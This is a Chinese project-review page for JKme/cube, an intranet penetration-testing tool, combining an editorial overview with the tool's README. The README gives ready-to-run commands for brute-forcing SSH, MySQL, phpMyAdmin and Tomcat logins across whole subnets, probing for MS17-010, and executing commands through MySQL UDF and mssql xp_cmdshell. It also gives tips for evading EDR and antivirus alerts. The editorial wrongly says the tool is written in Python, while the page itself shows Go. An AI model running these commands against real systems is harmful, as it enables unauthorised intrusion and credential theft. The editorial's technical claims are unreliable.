技术解读

以下内容由 GitRead 中文社区 编辑团队基于项目 README 与官方资料整理, 结合中文开发者的常见使用场景补充技术选型建议。具体以项目官方文档为准。

项目背景与痛点

在网络渗透测试领域,熟悉内网环境的漏洞挖掘与利用对于安全工程师来说至关重要。“JKme/cube”项目正是专注于内网渗透测试的工具,它涵盖了弱密码爆破、信息收集和漏洞扫描等功能。这类工具的出现解决了传统手动渗透测试方法效率低下、覆盖面不足的问题,特别是在大规模企业内网环境中。自动化且高效的渗透测试过程不仅缩短了测试周期,还能在潜在攻击发生前发现并修复系统漏洞,从而提升整体安全水平。

核心技术揭秘

JKme/cube 的设计围绕两大核心:模块化和自动化。模块化主要体现在各个功能独立成模块,这些模块能够独立执行,这种设计便于用户根据具体需求构建特定的测试流程;而自动化则是通过设置任务调度,自动完成整个测试流程,大大提升了操作便捷性。

graph TD subgraph "渗透测试任务" A[用户请求] --> B{"参数校验"} B -->|"通过"| C[执行业务] C --> D[结果汇总] D --> E[报告生成] end subgraph "模块化功能" F[弱密码爆破] --> G[信息收集] G --> H[漏洞扫描] end B -->|"失败"| J[返回错误]

以上 Mermaid 图展示了 JKme/cube 的架构,其中“渗透测试任务”部分代表了从用户请求到最终结果报告的全过程,而“模块化功能”部分则体现了工具的灵活性——用户可以选择性地启用某些模块,构建出个性化的测试流程。

底层技术栈方面,“JKme/cube”主要使用Python语言实现,采用了多线程技术来提升数据抓取和处理的速度。在信息收集模块中,可能使用了诸如字典攻击等技巧,而在漏洞扫描部分,则是基于已知漏洞库进行匹配扫描。

功能亮点与差异

相比同类工具,JKme/cube 在模块化设计上有明显优势。这不仅使它更加灵活,用户还能根据自身需求定制测试流程。该工具还提供了丰富的配置选项,使其能够在复杂环境中灵活部署。各种自动化机制大大简化了设置步骤,节省了大量手工配置时间和精力。

应用场景与落地建议

该工具特别适用于安全团队进行定期的内网安全审计、在系统上线前的安全检测或者针对特定业务场景进行定制化测试。由于其设计理念差异,使用时需明确测试目标和范围,避免误测试关键系统导致的不可预知风险。

综合评价

“JKme/cube”作为一款专注于内网渗透测试的免费开源工具,释放了开发者们的创造力与灵活性。它采用的模块化设计在同类产品中突围而出,为内网环境渗透测试提供了一套坚实且丰富的测试手段。尽管它在定制化程度与自动化水平上表现出色,但也需要用户具备一定技术水平来充分利用其功能,尤其是在设计复杂测试场景时。总体来说,它是一款值得网络安全技术人员加入其技能栈中的利器。

简要分析

热度分
1352
价值分
448
活跃状态
活跃

语言占比

Go

Release

贡献者

README

声明

特别声明:此工具仅限于安全研究,禁止使用该项目进行违法操作,否则自行承担相关责任

特点

  • 方便二次开发,快速增加插件
  • 支持输出结果到excel文档
  • 精简运行参数,方便记忆

一把梭

如果没有耐心看下面的命令选项,运行如下命令,然后打开pwn.xlsx,最终结果会以IP纬度聚合展示:

cube crack -x X -s 192.168.2.1/24 -o /tmp/pwn.xlsx
cube probe -x Y -s 192.168.2.1/24 -o /tmp/pwn.xlsx
cube probe -x K8S -s 192.168.2.1/24 -o /tmp/pwn.xlsx	//如果内网存在k8s,会扫描2379,10250,6443端口

report.png

全局参数

  • -v: 输出内容更详细,一般用于调试
  • -n: 设定crack和probe模块的运行线程数量,默认30线程
  • --delay: 设定此选项参数为n的时候,crack和probe模块强制设为单线程,在线程运行之间休眠n秒,用于绕过EDR

0x1. crack模块

使用内置词典爆破SSH
cube crack -s 192.168.1.1 -x ssh
指定用户密码爆破SSH
cube crack -l root,ubuntu -p 123,000111,root -x ssh -s 192.168.1.1
cube crack -L user.txt -P pass.txt -s 192.168.1.1/24 -x ssh
cube crack -l root -P pass.txt -s 192.168.1.1/24 -x ssh
指定端口爆破SSH
cube crack -l root -p root -s 192.168.1.1 -x ssh --port 2222
使用内置词典爆破ssh和mysql
# 爆破mysql和ssh(注意ssh和mysql之间的逗号不存在空格)
cube crack -s 192.168.1.1 -x ssh,mysql
爆破phpmyadmin(不可与其它插件组合)
cube crack -s http://192.168.2.1 -x phpmyadmin
爆破tomcat(不可与其它插件组合)
cube crack -x httpbasic -s http://127.0.0.1:7788/manager -v
加载全部爆破插件(httpbasic/jenkins/phpmyadmin/zabbix除外)
cube crack -x X -s 192.168.1.1
  • phpmyadmin这类http的爆破插件只能单独使用,不可与其它插件同时加载,类似的插件有: httpbasic/jenkins/phpmyadmin/zabbix
  • httpbasic模块是用来爆破使用basic auth认证的服务,比如tomcat登录,nginx的basic auth
  • -x X是加载全部可用的爆破插件,先检查端口,端口开放之后爆破
  • 未指定用户密码的时候,会加载内置词典
  • zabbix插件没有卵用,爆破5次失败之后会锁定30s
  • 默认线程是30,这种情况下爆破会触发x绒的告警,建议设定为10~15
支持的爆破插件
  • 可组合使用: elastic/ftp/mongo/mssql/mysql/postgres/redis/smb/ssh
  • 不可组合使用: httpbasic/jenkins/phpmyadmin/zabbix

0x2. probe模块

加载全部默认插件
# -x Y的时候加载全部probe插件, -x -X只会加载部分默认插件
cube probe -x X -s 192.168.2.1/24
cube probe -x Y -s 192.168.2.1/24

加载指定插件

# 加载oxid,ms17010插件
cube probe -x oxid,ms17010 -s 192.168.2.1/24

# 加载WIN集合插件,WIN集合插件下有 ping,netbios,oxid,smb,winrm,wmi,mssql
cube probe -x WIN -s 192.168.2.1/24
支持的探测插件
FUNC PORT LOAD BY X
docker 2375 Y
dubbo 20880 Y
etcd 2379 Y
k8s10250 10250 N
k8s6443 6443 N
ms17010 445 Y
mssql 1433 N
netbios 137 N
oxid 135 Y
ping N
rmi 1099 Y
smb 445 Y
smbghost 445 Y
winrm 5985 N
wmi 135 N
zookeeper 2181 Y
jboss 3873 Y
prometheus 9090 Y
  • smb/wmi/winrm/mssql是利用NTLM认证过程获取Windows版本系统信息
  • 使用ping/netbios的时候,最好单独使用获取更准确的结果,线程数量建议为10
  • Load By X: 是指cube probe -x X -s 192.168.2.1/24的时候,-x X是否需要加载的插件

0x3. 结果输出

在使用crack和probe模块的任何插件都可以加上-o result.xlsx,用于把结果写入到excel,当excel已经存在 的时候,cube会把当前扫描的结果自动追加到文档,建议扫描结束之后的文档固定首行首列,查看更方便。

0x4. 快速开发

Crack模块

Crack模块可以抽象为一个爆破的框架,当需要爆破的插件不在Cube可用插件列表里面,可以使用go快速开发爆破插件。 crack模块下的命令参数同样适用新增的插件,比如-l/-L,-p/-P,--port。 比如新增一个自定义爆破插件,插件名是cloud,默认端口8080,爆破的默认密码使用内置的config.PASSWORDS,插件需要实现crack模块的以下接口:

	CrackName() string       //插件名称
	CrackPort() string       //插件默认端口
	CrackAuthUser() []string //插件默认爆破的用户名
	CrackAuthPass() []string //插件默认爆破的密码,可以使用config.PASSWORD
	IsMutex() bool           //是否是只能单独使用的插件,比如爆破phpmyadmin类的http插件,当然elastic是个例外
	CrackPortCheck() bool    //是否需要端口检查,TCP协议设置为true,phpmyadmin单独使用的插件和UDP协议类的跳过端口检测,设置为false
	Exec() CrackResult       //爆破插件的具体实现

crack.gif

  • 如果需要-x X加载cloud, 修改config/config.go,把cloud加入到CrackX列表里面
Probe模块

同样新增Probe插件和crack类似,也可以看作信息收集的框架,新增的插件需要实现以下接口:

	ProbeName() string      //插件名称
	ProbePort() string      //插件默认端口
	PortCheck() bool        //是否需要端口检查
	ProbeExec() ProbeResult //执行插件

0x5 Sqlcmd模块

用于mysql的UDF提权(暂时支持windows x64),mssql命令执行:

#开启UDF执行命令
cube sqlcmd -x mysql -l root -p root -e "whoami"

#清除xp_cmdshell
cube sqlcmd -x mysql -l root -p root -e "clear"

#指定mssql端口
cube sqlcmd -x mssql -l sa -p sa -e "whoami" --port 4134
可用插件

report.png

参考

TODO

  -m ls  <dst path>
  -m cat <dst file>
  -m upload <src path> <dst path>
  -m exec <cmd string>
cube sqlcmd -s 127.0.0.1 -l root -p root -x mssql exec "whoami"
cube sqlcmd -s 127.0.0.1 -l root -p root -x mssql upload  <src> <dst>
cube sqlcmd -s 127.0.0.1 -l root -p root -x mssql ls  <src>
cube sqlcmd -s 127.0.0.1 -l root -p root -x mssql cat  <src> 

Stargazers over time

Stargazers over time

评论

暂无评论